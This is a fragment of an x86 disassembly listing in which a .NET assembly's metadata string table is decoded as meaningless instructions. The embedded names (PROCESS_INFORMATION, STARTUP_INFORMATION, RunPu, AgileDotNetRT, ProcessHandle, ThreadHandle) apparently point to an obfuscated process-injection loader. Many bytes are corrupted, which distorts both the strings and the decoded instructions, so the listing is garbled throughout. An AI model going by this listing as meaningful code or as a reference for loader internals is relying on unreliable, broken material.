40caa0:	44                   	inc    %esp
40caa1:	6f                   	outsl  %ds:(%esi),(%dx)
40caa2:	74 4e                	je     0x40caf2
40caa4:	65 74 46             	gs je  0x40caed
40caa7:	72 61                	jb     0x40cb0a
40caa9:	7d 65                	jge    0x40cb10
40caab:	77 6f                	ja     0x40cb1c
40caad:	72 6b                	jb     0x40cb1a
40caaf:	56                   	push   %esi
40cab0:	65 72 73             	gs jb  0x40cb26
40cab3:	69 7f 6e 00 3c 4d 6f 	imul   $0x6f4d3c00,0x6e(%edi),%edi
40caba:	64 75 6c             	fs jne 0x40cb29
40cabd:	65 3e 10 6f 52       	gs adc %ch,%ds:0x52(%edi)
40cac2:	4d                   	dec    %ebp
40cac3:	3d 00 6f 68 4d       	cmp    $0x4d686f00,%eax
40cac8:	3d 00 51 64 64       	cmp    $0x64645100,%eax
40cacd:	6f                   	outsl  %ds:(%esi),(%dx)
40cace:	6e                   	outsb  %ds:(%esi),(%dx)
40cacf:	73 00                	jae    0x40cad1
40cad1:	74 72                	je     0x40cb45
40cad3:	62 69 7c             	bound  %ebp,0x7c(%ecx)
40cad6:	65 00 72 52          	add    %dh,%gs:0x52(%edx)
40cada:	4d                   	dec    %ebp
40cadb:	3d 00 72 78 4d       	cmp    $0x4d787200,%eax
40cae0:	4d                   	dec    %ebp
40cae1:	00 73 52             	add    %dh,0x52(%ebx)
40cae4:	4d                   	dec    %ebp
40cae5:	3d 00 77 78 4d       	cmp    $0x4d787700,%eax
40caea:	3d 10 78 52 4d       	cmp    $0x4d527810,%eax
40caef:	3d 00 78 78 4d       	cmp    $0x4d787800,%eax
40caf4:	3d 00 89 52 4d       	cmp    $0x4d528900,%eax
40caf9:	3d 00 47 65 74       	cmp    $0x74654700,%eax
40cafe:	70 72                	jo     0x40cb72
40cb00:	6f                   	outsl  %ds:(%esi),(%dx)
40cb01:	73 63                	jae    0x40cb66
40cb03:	72 65                	jb     0x40cb6a
40cb05:	61                   	popa
40cb06:	74 69                	je     0x40cb71
40cb08:	6f                   	outsl  %ds:(%esi),(%dx)
40cb09:	6e                   	outsb  %ds:(%esi),(%dx)
40cb0a:	00 48 75             	add    %cl,0x75(%eax)
40cb0d:	6c                   	insb   (%dx),%es:(%edi)
40cb0e:	70 65                	jo     0x40cb75
40cb10:	72 00                	jb     0x40cb12
40cb12:	32 78 4d             	xor    0x4d(%eax),%bh
40cb15:	3d 00 60 72 6f       	cmp    $0x6f726000,%eax
40cb1a:	67 72 61             	addr16 jb 0x40cb7e
40cb1d:	6d                   	insl   (%dx),%es:(%edi)
40cb1e:	00 33                	add    %dh,(%ebx)
40cb20:	68 4d 4d 00 35       	push   $0x35004d4d
40cb25:	68 4d 3d 00 52       	push   $0x52003d4d
40cb2a:	75 6e                	jne    0x40cb9a
40cb2c:	50                   	push   %eax
40cb2d:	75 00                	jne    0x40cb2f
40cb2f:	36 52                	ss push %edx
40cb31:	4d                   	dec    %ebp
40cb32:	3d 00 36 68 4d       	cmp    $0x4d683600,%eax
40cb37:	3d 10 37 42 4d       	cmp    $0x4d423710,%eax
40cb3c:	3d 00 37 78 4d       	cmp    $0x4d783700,%eax
40cb41:	3d 00 48 52 4d       	cmp    $0x4d524800,%eax
40cb46:	3d 00 38 68 4d       	cmp    $0x4d683800,%eax
40cb4b:	3d 00 39 78 4d       	cmp    $0x4d783900,%eax
40cb50:	3d 00 39 78 4d       	cmp    $0x4d783900,%eax
40cb55:	3d 00 53 65 84       	cmp    $0x84655300,%eax
40cb5a:	74 69                	je     0x40cbc5
40cb5c:	6e                   	outsb  %ds:(%esi),(%dx)
40cb5d:	67 73 00             	addr16 jae 0x40cb60
40cb60:	74 72                	je     0x40cbd4
40cb62:	62 69 7c             	bound  %ebp,0x7c(%ecx)
40cb65:	65 2e 50             	gs cs push %eax
40cb68:	72 6f                	jb     0x40cbd9
40cb6a:	70 65                	jo     0x40cbd1
40cb6c:	72 74                	jb     0x40cbe2
40cb6e:	69 75 73 00 3c 50 72 	imul   $0x72503c00,0x73(%ebp),%esi
40cb75:	69 76 61 74 65 59 6d 	imul   $0x6d596574,0x61(%esi),%esi
40cb7c:	70 6c                	jo     0x40cbea
40cb7e:	65 6d                	gs insl (%dx),%es:(%edi)
40cb80:	65 6e                	outsb  %gs:(%esi),(%dx)
40cb82:	74 61                	je     0x40cbe5
40cb84:	74 79                	je     0x40cbff
40cb86:	6f                   	outsl  %ds:(%esi),(%dx)
40cb87:	6e                   	outsb  %ds:(%esi),(%dx)
40cb88:	44                   	inc    %esp
40cb89:	65 74 61             	gs je  0x40cbed
40cb8c:	69 6c 73 3e 10 3c 3e 	imul   $0x633e3c10,0x3e(%ebx,%esi,2),%ebp
40cb93:	63
40cb94:	00 50 52             	add    %dl,0x52(%eax)
40cb97:	4f                   	dec    %edi
40cb98:	43                   	inc    %ebx
40cb99:	45                   	inc    %ebp
40cb9a:	53                   	push   %ebx
40cb9b:	63 5f 49             	arpl   %ebx,0x49(%edi)
40cb9e:	4e                   	dec    %esi
40cb9f:	46                   	inc    %esi
40cba0:	4f                   	dec    %edi
40cba1:	52                   	push   %edx
40cba2:	4d                   	dec    %ebp
40cba3:	41                   	inc    %ecx
40cba4:	54                   	push   %esp
40cba5:	49                   	dec    %ecx
40cba6:	5f                   	pop    %edi
40cba7:	4e                   	dec    %esi
40cba8:	00 53 54             	add    %dl,0x54(%ebx)
40cbab:	41                   	inc    %ecx
40cbac:	52                   	push   %edx
40cbad:	54                   	push   %esp
40cbae:	55                   	push   %ebp
40cbaf:	50                   	push   %eax
40cbb0:	5f                   	pop    %edi
40cbb1:	59                   	pop    %ecx
40cbb2:	4e                   	dec    %esi
40cbb3:	46                   	inc    %esi
40cbb4:	4f                   	dec    %edi
40cbb5:	52                   	push   %edx
40cbb6:	4d                   	dec    %ebp
40cbb7:	41                   	inc    %ecx
40cbb8:	54                   	push   %esp
40cbb9:	49                   	dec    %ecx
40cbba:	4f                   	dec    %edi
40cbbb:	4e                   	dec    %esi
40cbbc:	10 3c 3e             	adc    %bh,(%esi,%edi,1)
40cbbf:	63 5f 5f             	arpl   %ebx,0x5f(%edi)
40cbc2:	44                   	inc    %esp
40cbc3:	69 73 70 6c 71 79 43 	imul   $0x4379716c,0x70(%ebx),%esi
40cbca:	6c                   	insb   (%dx),%es:(%edi)
40cbcb:	61                   	popa
40cbcc:	73 73                	jae    0x40cc41
40cbce:	33 5f 30             	xor    0x30(%edi),%ebx
40cbd1:	00 52 42             	add    %dl,0x42(%edx)
40cbd4:	51                   	push   %ecx
40cbd5:	3d 00 42 52 51       	cmp    $0x51524200,%eax
40cbda:	3d 00 42 78 51       	cmp    $0x51784200,%eax
40cbdf:	3d 00 3c 41 67       	cmp    $0x67413c00,%eax
40cbe4:	69 6c 65 44 7f 74 4e 	imul   $0x654e747f,0x44(%ebp,%eiz,2),%ebp
40cbeb:	65
40cbec:	74 52                	je     0x40cc40
40cbee:	54                   	push   %esp
40cbef:	3e 00 6f 78          	add    %ch,%ds:0x78(%edi)
40cbf3:	5d                   	pop    %ebp
40cbf4:	3d 00 70 68 4d       	cmp    $0x4d687000,%eax
40cbf9:	3d 00 70 78 4d       	cmp    $0x4d787000,%eax
40cbfe:	4d                   	dec    %ebp
40cbff:	00 73 68             	add    %dh,0x68(%ebx)
40cc02:	4d                   	dec    %ebp
40cc03:	3d 00 73 78 4d       	cmp    $0x4d787300,%eax
40cc08:	3d 10 74 42 4d       	cmp    $0x4d427410,%eax
40cc0d:	3d 00 74 52 4d       	cmp    $0x4d527400,%eax
40cc12:	3d 00 84 68 4d       	cmp    $0x4d688400,%eax
40cc17:	3d 00 74 78 4d       	cmp    $0x4d787400,%eax
40cc1c:	3d 00 79 78 4d       	cmp    $0x4d787900,%eax
40cc21:	3d 00 79 78 4d       	cmp    $0x4d787900,%eax
40cc26:	3d 00 7a 42 5d       	cmp    $0x5d427a00,%eax
40cc2b:	3d 00 7a 52 4d       	cmp    $0x4d527a00,%eax
40cc30:	3d 00 7a 68 4d       	cmp    $0x4d687a00,%eax
40cc35:	4d                   	dec    %ebp
40cc36:	00 7a 78             	add    %bh,0x78(%edx)
40cc39:	4d                   	dec    %ebp
40cc3a:	3d 00 30 42 4d       	cmp    $0x4d423000,%eax
40cc3f:	3d 10 30 52 4d       	cmp    $0x4d523010,%eax
40cc44:	3d 00 33 42 4d       	cmp    $0x4d423300,%eax
40cc49:	3d 00 86 61 6c       	cmp    $0x6c618600,%eax
40cc4e:	75 65                	jne    0x40ccb5
40cc50:	5f                   	pop    %edi
40cc51:	5f                   	pop    %edi
40cc52:	00 33                	add    %dh,(%ebx)
40cc54:	78 4d                	js     0x40cca3
40cc56:	4d                   	dec    %ebp
40cc57:	00 34 42             	add    %dh,(%edx,%eax,2)
40cc5a:	4d                   	dec    %ebp
40cc5b:	3d 00 34 52 4d       	cmp    $0x4d523400,%eax
40cc60:	3d 10 34 68 4d       	cmp    $0x4d683410,%eax
40cc65:	3d 00 34 78 4d       	cmp    $0x4d783400,%eax
40cc6a:	3d 00 45 42 4d       	cmp    $0x4d424500,%eax
40cc6f:	3d 00 35 52 4d       	cmp    $0x4d523500,%eax
40cc74:	3d 00 2f 52 4d       	cmp    $0x4d522f00,%eax
40cc79:	3d 00 2f 52 4d       	cmp    $0x4d522f00,%eax
40cc7e:	3d 00 64 65 76       	cmp    $0x76656400,%eax
40cc83:	61                   	popa
40cc84:	75 6c                	jne    0x40ccf2
40cc86:	74 49                	je     0x40ccd1
40cc88:	6e                   	outsb  %ds:(%esi),(%dx)
40cc89:	73 74                	jae    0x40ccff
40cc8b:	61                   	popa
40cc8c:	6e                   	outsb  %ds:(%esi),(%dx)
40cc8d:	73 65                	jae    0x40ccf4
40cc8f:	00 33                	add    %dh,(%ebx)
40cc91:	31 33                	xor    %esi,(%ebx)
40cc93:	30 32                	xor    %dh,(%edx)
40cc95:	37                   	aaa
40cc96:	42                   	inc    %edx
40cc97:	44                   	inc    %esp
40cc98:	44                   	inc    %esp
40cc99:	33 36                	xor    (%esi),%esi
40cc9b:	30 38                	xor    %bh,(%eax)
40cc9d:	31 41 41             	xor    %eax,0x41(%ecx)
40cca0:	35 31 43 55 32       	xor    $0x32554331,%eax
40cca5:	39 39                	cmp    %edi,(%ecx)
40cca7:	41                   	inc    %ecx
40cca8:	34 44                	xor    $0x44,%al
40ccaa:	37                   	aaa
40ccab:	44                   	inc    %esp
40ccac:	34 35                	xor    $0x35,%al
40ccae:	55                   	push   %ebp
40ccaf:	41                   	inc    %ecx
40ccb0:	43                   	inc    %ebx
40ccb1:	33 36                	xor    (%esi),%esi
40ccb3:	34 39                	xor    $0x39,%al
40ccb5:	42                   	inc    %edx
40ccb6:	39 31                	cmp    %esi,(%ecx)
40ccb8:	30 55 30             	xor    %dl,0x30(%ebp)
40ccbb:	44                   	inc    %esp
40ccbc:	43                   	inc    %ebx
40ccbd:	35 31 45 45 42       	xor    $0x42454531,%eax
40ccc2:	36 38 41 31          	cmp    %al,%ss:0x31(%ecx)
40ccc6:	30 42 46             	xor    %al,0x46(%edx)
40ccc9:	35 39 42 44 43       	xor    $0x43444239,%eax
40ccce:	38 44 00 37          	cmp    %al,0x37(%eax,%eax,1)
40ccd2:	30 35 35 41 32 46    	xor    %dh,0x46324135
40ccd8:	34 30                	xor    $0x30,%al
40ccda:	43                   	inc    %ebx
40ccdb:	43                   	inc    %ebx
40ccdc:	38 42 33             	cmp    %al,0x33(%edx)
40ccdf:	43                   	inc    %ebx
40cce0:	38 45 31             	cmp    %al,0x31(%ebp)
40cce3:	38 39                	cmp    %bh,(%ecx)
40cce5:	56                   	push   %esi
40cce6:	33 33                	xor    (%ebx),%esi
40cce8:	35 46 43 34 39       	xor    $0x39344346,%eax
40cced:	36 35 33 53 46 39    	ss xor $0x39465333,%eax
40ccf3:	44                   	inc    %esp
40ccf4:	43                   	inc    %ebx
40ccf5:	39 41 33             	cmp    %eax,0x33(%ecx)
40ccf8:	31 36                	xor    %esi,(%esi)
40ccfa:	44                   	inc    %esp
40ccfb:	55                   	push   %ebp
40ccfc:	43                   	inc    %ebx
40ccfd:	37                   	aaa
40ccfe:	34 31                	xor    $0x31,%al
40cd00:	42                   	inc    %edx
40cd01:	35 44 39 32 36       	xor    $0x36323944,%eax
40cd06:	54                   	push   %esp
40cd07:	45                   	inc    %ebp
40cd08:	36 32 35 42 30 31 33 	xor    %ss:0x33313042,%dh
40cd0f:	36 39 10             	cmp    %edx,%ss:(%eax)
40cd12:	37                   	aaa
40cd13:	31 45 45             	xor    %eax,0x45(%ebp)
40cd16:	44                   	inc    %esp
40cd17:	39 38                	cmp    %edi,(%eax)
40cd19:	30 32                	xor    %dh,(%edx)
40cd1b:	31 43 35             	xor    %eax,0x35(%ebx)
40cd1e:	41                   	inc    %ecx
40cd1f:	39 34 32             	cmp    %esi,(%edx,%esi,1)
40cd22:	43                   	inc    %ebx
40cd23:	39 33                	cmp    %esi,(%ebx)
40cd25:	44                   	inc    %esp
40cd26:	38 43 46             	cmp    %al,0x46(%ebx)
40cd29:	30 37                	xor    %dh,(%edi)
40cd2b:	35 39 36 32 45       	xor    $0x45323639,%eax
40cd30:	30 45 46             	xor    %al,0x46(%ebp)
40cd33:	44                   	inc    %esp
40cd34:	42                   	inc    %edx
40cd35:	33 34 32             	xor    (%edx,%esi,1),%esi
40cd38:	35 35 46 45 44       	xor    $0x44454635,%eax
40cd3d:	45                   	inc    %ebp
40cd3e:	39 42 43             	cmp    %eax,0x43(%edx)
40cd41:	38 31                	cmp    %dh,(%ecx)
40cd43:	42                   	inc    %edx
40cd44:	41                   	inc    %ecx
40cd45:	44                   	inc    %esp
40cd46:	35 38 55 43 41       	xor    $0x41435538,%eax
40cd4b:	33 38                	xor    (%eax),%edi
40cd4d:	41                   	inc    %ecx
40cd4e:	42                   	inc    %edx
40cd4f:	33 36                	xor    (%esi),%esi
40cd51:	37                   	aaa
40cd52:	00 55 31             	add    %dl,0x31(%ebp)
40cd55:	46                   	inc    %esi
40cd56:	36 33 46 30          	xor    %ss:0x30(%esi),%eax
40cd5a:	38 41 39             	cmp    %al,0x39(%ecx)
40cd5d:	31 48 46             	xor    %ecx,0x46(%eax)
40cd60:	44                   	inc    %esp
40cd61:	42                   	inc    %edx
40cd62:	43                   	inc    %ebx
40cd63:	30 31                	xor    %dh,(%ecx)
40cd65:	34 43                	xor    $0x43,%al
40cd67:	32 34 52             	xor    (%edx,%edx,2),%dh
40cd6a:	37                   	aaa
40cd6b:	34 31                	xor    $0x31,%al
40cd6d:	35 34 35 38 45       	xor    $0x45383534,%eax
40cd72:	39 43 52             	cmp    %eax,0x52(%ebx)
40cd75:	33 31                	xor    (%ecx),%esi
40cd77:	45                   	inc    %ebp
40cd78:	46                   	inc    %esi
40cd79:	41                   	inc    %ecx
40cd7a:	34 37                	xor    $0x37,%al
40cd7c:	45                   	inc    %ebp
40cd7d:	35 32 53 38 44       	xor    $0x44385332,%eax
40cd82:	30 30                	xor    %dh,(%eax)
40cd84:	34 35                	xor    $0x35,%al
40cd86:	35 37 37 42 43       	xor    $0x43423737,%eax
40cd8b:	35 32 30 30 38       	xor    $0x38303032,%eax
40cd90:	31 34 38             	xor    %esi,(%eax,%edi,1)
40cd93:	00 3c 4e             	add    %bh,(%esi,%ecx,2)
40cd96:	39 00                	cmp    %eax,(%eax)
40cd98:	3c 3e                	cmp    $0x3e,%al
40cd9a:	39 5f 5f             	cmp    %ebx,0x5f(%edi)
40cd9d:	39 5f 30             	cmp    %ebx,0x30(%edi)
40cda0:	10 3c 3e             	adc    %bh,(%esi,%edi,1)
40cda3:	39 5f 5f             	cmp    %ebx,0x5f(%edi)
40cda6:	39 5f 31             	cmp    %ebx,0x31(%edi)
40cda9:	00 50 82             	add    %dl,-0x7e(%eax)
40cdac:	6f                   	outsl  %ds:(%esi),(%dx)
40cdad:	63 65 73             	arpl   %esp,0x73(%ebp)
40cdb0:	73 48                	jae    0x40cdfa
40cdb2:	61                   	popa
40cdb3:	6e                   	outsb  %ds:(%esi),(%dx)
40cdb4:	64 6c                	fs insb (%dx),%es:(%edi)
40cdb6:	75 00                	jne    0x40cdb8
40cdb8:	54                   	push   %esp
40cdb9:	68 72 65 61 64       	push   $0x64616572
40cdbe:	48                   	dec    %eax
40cdbf:	61                   	popa
40cdc0:	6e                   	outsb  %ds:(%esi),(%dx)
40cdc1:	74 6c                	je     0x40ce2f
40cdc3:	65 00 50 72          	add    %dl,%gs:0x72(%eax)
40cdc7:	6f                   	outsl  %ds:(%esi),(%dx)
40cdc8:	63 65 73             	arpl   %esp,0x73(%ebp)
40cdcb:	73 59                	jae    0x40ce26
40cdcd:	64 00 41 78          	add    %al,%fs:0x78(%ecx)
40cdd1:	51                   	push   %ecx
40cdd2:	3d 00 53 69 7a       	cmp    $0x7a695300,%eax
40cdd7:	75 00                	jne    0x40cdd9
40cdd9:	63 62 00             	arpl   %esp,0x0(%edx)
40cddc:	6c                   	insb   (%dx),%es:(%edi)
40cddd:	70 52                	jo     0x40ce31
40cddf:	65 73 65             	gs jae 0x40ce47
40cde2:	82 76 65 64          	xorb   $0x64,0x65(%esi)
40cde6:	00 6c 70 44          	add    %ch,0x44(%eax,%esi,2)
40cdea:	65 73 6b             	gs jae 0x40ce58
40cded:	84 6f 70             	test   %ch,0x70(%edi)
40cdf0:	00 6c 70 54          	add    %ch,0x54(%eax,%esi,2)
40cdf4:	69 74 6c 65 10 64 77 	imul   $0x58776410,0x65(%esp,%ebp,2),%esi
40cdfb:	58
40cdfc:	00 64 77 59          	add    %ah,0x59(%edi,%esi,2)
40ce00:	00 64 77 68          	add    %ah,0x68(%edi,%esi,2)
40ce04:	53                   	push   %ebx
40ce05:	69 7a 65 00 64 77 59 	imul   $0x59776400,0x65(%edx),%edi
40ce0c:	53                   	push   %ebx
40ce0d:	69 8a 65 00 64 77 58 	imul   $0x756f4358,0x77640065(%edx),%ecx
40ce14:	43 6f 75